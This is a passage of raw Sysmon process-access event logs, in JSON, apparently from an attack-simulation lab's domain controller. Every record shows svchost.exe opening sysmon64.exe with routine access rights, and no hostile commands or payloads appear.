11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1818,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1819,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1820,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1821,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1822,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1823,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1824,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:59.031","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:50:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1825,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:59.031\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 